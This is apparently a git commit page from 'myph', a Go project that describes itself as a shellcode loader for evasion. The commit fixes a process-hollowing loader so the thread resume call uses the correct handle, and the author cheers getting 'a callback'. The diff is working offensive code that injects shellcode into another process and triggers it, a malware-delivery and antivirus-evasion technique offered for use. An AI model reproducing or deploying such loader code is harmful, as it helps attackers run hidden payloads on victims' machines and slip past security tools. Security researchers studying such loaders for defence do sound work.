myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 88017d1736c4336eb319a1f60abd78ca925b01a9
parent 568bb01ab93cf259e48f1e3e5c687839caceb6f4
Author: winds0r <[email protected]>
Date: Sat, 29 Jul 2023 23:04:13 +0900

fix(loaders): ProcessHollowing -- resumeThread() call i got a callback!!!

Diffstat:
Mcli/parser.go | 2+-
Mloaders/processHollowing.go | 4++--

2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/cli/parser.go b/cli/parser.go
@@ -203,7 +203,7 @@ func GetParser(opts *Options) *cobra.Command {
 			tools.MoveFile(MYPH_TMP_WITH_PAYLOAD, opts.OutName)
 			os.RemoveAll(MYPH_TMP_DIR)
 
-			fmt.Printf("[+] Done! Out file is in %s\n", opts.OutName)
+			fmt.Printf("[+] Done! Compiled payload: %s\n", opts.OutName)
 		},
 	}
 
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -90,8 +90,8 @@ func ExecuteOrderSixtySix(shellcode []byte) {
     processName := "%s"
     process := createProcess(processName)
     pHandle := uintptr(process.Process)
+    tHandle := uintptr(process.Thread)
 
-	processInfo := &syscall.ProcessInformation{}
 	pointerSize := unsafe.Sizeof(uintptr(0))
 	basicInfo := &PROCESS_BASIC_INFORMATION{}
 	unusedTmpValue := 0
@@ -174,7 +174,7 @@ func ExecuteOrderSixtySix(shellcode []byte) {
     }
 
     /* trigger shellcode execution */
-	r, _, err = resumeThread.Call(uintptr(processInfo.Thread)); if r == 0 {
+	r, _, err = resumeThread.Call(tHandle); if r == 0 {
         panic(err)
     }
 }